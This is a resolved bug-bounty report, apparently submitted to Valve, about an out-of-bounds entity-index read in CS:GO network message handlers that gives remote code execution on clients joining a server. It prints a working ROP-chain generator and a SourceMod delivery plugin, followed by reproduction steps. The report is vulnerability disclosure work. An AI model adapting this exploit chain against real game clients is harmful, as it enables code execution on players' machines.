Loading HuntDB...

OOB reads in network message handlers leads to RCE

Critical
V
Valve
Submitted None
Reported by slidybat

Vulnerability Details

Technical details and impact analysis

Out-of-bounds Read
# Vulnerability In Source engine games there are many network messages sent from the server to the client that take an entity index. There is a common pattern among many of these messages for the lower bounds of the entity index to be checked but not the upper bounds. In many cases these out of bound reads get an entity pointer from that index then call a virtual function on it. As an example, here is the handler for the CS:GO [`GlowPropTurnOff`](https://github.com/SteamDatabase/Protobufs/blob/7c7bc10a1ed346a88cc6b9c13d6642578a9ecd50/csgo/cstrike15_usermessages.proto#L444-L446) message: ```cpp bool _MsgFunc_GlowPropTurnOff(CCSUserMsg_GlowPropTurnOff* msg) { CBaseEntity* entity = nullptr; int ent_idx = msg->ent_index; if ( ent_idx >= 0 && entitylist[ent_idx] != nullptr ) { CBaseHandle* handle = entitylist[ent_idx] entity = handle->GetBaseEntity(); // A virtual function } // ... return true; } ``` # Exploiting the vulnerability I will be discussing the `GlowPropTurnOff` message specifically for the remainder of this report, however this OOB read pattern exists in other messages too. I have successfully tested this on a couple of other CS:GO user messages, and while I haven't tested it I also suspect that this bug pattern exists in the network messages of other Source games as well. This is the assembly used to access the `entitylist` array: ```asm mov eax, ent_idx test eax, eax js short loc_103B77A2 shl eax, 4 mov ecx, entitylist[eax] ``` The index is shifted left by 4 bits (`shl eax, 4`) before being used to access `entitylist`. This means that we can supply a large positive number that will overflow to a negative number, allowing us to return a pointer to pretty much anywhere in the module. Our goal will be to supply an index that returns a pointer to some memory that we control on the client. This memory will have the required vtable set up so that when `handle->GetBaseEntity()` is called it will call an address that we control. Following a writeup of a similar bug (https://insomnihack.ch/wp-content/uploads/2017/04/AC_remote_exploitation_of_valve_source.pdf), I chose to use the [`ShowMenu`](https://github.com/SteamDatabase/Protobufs/blob/7c7bc10a1ed346a88cc6b9c13d6642578a9ecd50/csgo/cstrike15_usermessages.proto#L417-L421) message to set up the needed memory on the client. The `ShowMenu` message takes the `menu_string` supplied from the server, converts it to UTF16, and stores it in a global string variable `wchar_t g_szMenuString[512]`. I wrote the following Python script to generate the payload needed to send through the `ShowMenu` message to set up a fake object with a valid vtable and also includes the ROP chain needed to pop calc: ```py from pwn import * import textwrap BASE_ADDRESS = 0x287E0000 FAKE_OBJ = BASE_ADDRESS + 0x3174F3C SHELL_EXECUTE_ADDR = BASE_ADDRESS + 0xA8F244 GADGET_XCHG_EAX_ESP = BASE_ADDRESS + 0xA2AAD1 GADGET_POP_ESP = BASE_ADDRESS + 0x7E031C GADGET_POP_EAX = BASE_ADDRESS + 0x4a925 GADGET_POP_EDI = BASE_ADDRESS + 0x2f00C6 GADGET_MOV_EAX_EDI = BASE_ADDRESS + 0x74215 GADGET_MOV_EAX_EAX = BASE_ADDRESS + 0x73c92 GADGET_XOR_EAX_EAX = BASE_ADDRESS + 0xb4279 GADGET_XCHG_EAX_EDI = BASE_ADDRESS + 0x1da80f def to_unicode(dword): a = dword & 0xffff; b = dword >> 16; return eval('u"\\u%s\\u%s"' % (hex(a)[2:].zfill(4), hex(b)[2:].zfill(4))) def write(addr, value): rop = u'' rop += to_unicode(GADGET_POP_EAX) rop += to_unicode(addr) rop += to_unicode(GADGET_POP_EDI) rop += to_unicode(value) rop += to_unicode(GADGET_MOV_EAX_EDI) return rop def write_deref(addr, to_deref): rop = u'' rop += to_unicode(GADGET_POP_EAX) rop += to_unicode(to_deref) rop += to_unicode(GADGET_MOV_EAX_EAX) rop += to_unicode(GADGET_POP_EDI) rop += to_unicode(addr) rop += to_unicode(GADGET_XCHG_EAX_EDI) rop += to_unicode(GADGET_MOV_EAX_EDI) return rop def write_zero(addr): rop = u'' rop += to_unicode(GADGET_XOR_EAX_EAX) rop += to_unicode(GADGET_POP_EDI) rop += to_unicode(addr) rop += to_unicode(GADGET_XCHG_EAX_EDI) rop += to_unicode(GADGET_MOV_EAX_EDI) return rop def stack_pivot(addr): rop = u'' rop += to_unicode(GADGET_POP_ESP) rop += to_unicode(addr) return rop rop = '' open_str_addr = FAKE_OBJ + 400 rop += write(open_str_addr, u32('open')) calc_str_addr = FAKE_OBJ + 420 rop += write(calc_str_addr, u32('calc')) # Move stack somewhere where it can safely not overwrite our fake object as functions are called params_addr = FAKE_OBJ + 1000000 rop += write_deref(params_addr, SHELL_EXECUTE_ADDR) rop += write(params_addr + 4, 0x41414141) rop += write_zero(params_addr + 8) rop += write(params_addr + 12, open_str_addr) rop += write(params_addr + 16, calc_str_addr) rop += write_zero(params_addr + 20) rop += write_zero(params_addr + 24) rop += write_zero(params_addr + 28) rop += stack_pivot(params_addr) # Fake object structure # 0 - pointer to actual object (#1) # 1 - pointer to vtable (#2) # 2 - pointer to `pop esp` <-- start of vtable, and where eax will be pointing once #9 is called # 3 - pointer to full stack (#10) <-- This will move the stack to somewhere where we have more room # 4 - junk # 5 - junk # 6 - junk # 7 - junk # 8 - junk # 9 - ptr to `xchg eax, esp` <-- address that is initially jumped to, will set esp to #2 so we can pivot stack & begin ROP chain # 10 - stack <-- where our ROP chain begins fakeobj = u'' fakeobj += '--' fakeobj += to_unicode(FAKE_OBJ + 4) fakeobj += to_unicode(FAKE_OBJ + 4 * 2) fakeobj += to_unicode(GADGET_POP_ESP) fakeobj += to_unicode(FAKE_OBJ + 4 * 10) fakeobj += u'\u4141\u4141' fakeobj += u'\u4242\u4242' fakeobj += u'\u4343\u4343' fakeobj += u'\u4444\u4444' fakeobj += u'\u4545\u4545' fakeobj += to_unicode(GADGET_XCHG_EAX_ESP) fakeobj += rop fakeobj = fakeobj.encode('utf-8') print(''.join(['\\x%02x' % ord(c) for c in fakeobj])) ``` *Note*: As in #470520 the script above needs to know the base address of the client's `client_panorama.dll` module in order to be 100% reliable, however it isn't possible to this due to ASLR. Next, this payload needs to be sent to the client. I did this using the following SourceMod plugin: ```cpp #include <sdktools> public void OnPluginStart() { HookEvent( "player_spawn", Event_PlayerSpawn ); } public Action Event_PlayerSpawn( Event event, const char[] name, bool dontBroadcast ) { int client = GetClientOfUserId( event.GetInt( "userid" ) ); { char payload[] = "PLACE PAYLOAD HERE"; Protobuf msg = UserMessageToProtobuf( StartMessageOne( "ShowMenu", client ) ); msg.SetInt( "bits_valid_slots", 0xFFFFFFFF ); msg.SetInt( "display_time", 0 ); msg.SetString( "menu_string", payload ); EndMessage(); } { Protobuf msg = UserMessageToProtobuf( StartMessageOne( "GlowPropTurnOff", client ) ); msg.SetInt( "entidx", 0xfe43167 ); EndMessage(); } return Plugin_Continue; } ``` Once a client connects the payload is set up using the `ShowMenu` message and then is triggered immediately after with the `GlowPropTurnOff` message, resulting in calc being popped. # PoC Here is a video showcasing the bug being triggered on CS:GO when joining a server: {F732616} # Reproduction steps 1) Start CS:GO and note the base address of `client_panorama.dll` 2) Replace the value of `BASE_ADDRESS` in the Python script above with this base address value and run the script 3) Copy the generated payload into the contents of the `payload` string in the SourceMod script above and compile the plugin 4) Add the compiled plugin to the server and connect to this server with the client, as soon as the client is fully connected calc will be popped automatically ## Impact This bug allows an attacker to execute arbitrary code on the computers of any clients that join their server.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$7500.00

Submitted

Weakness

Out-of-bounds Read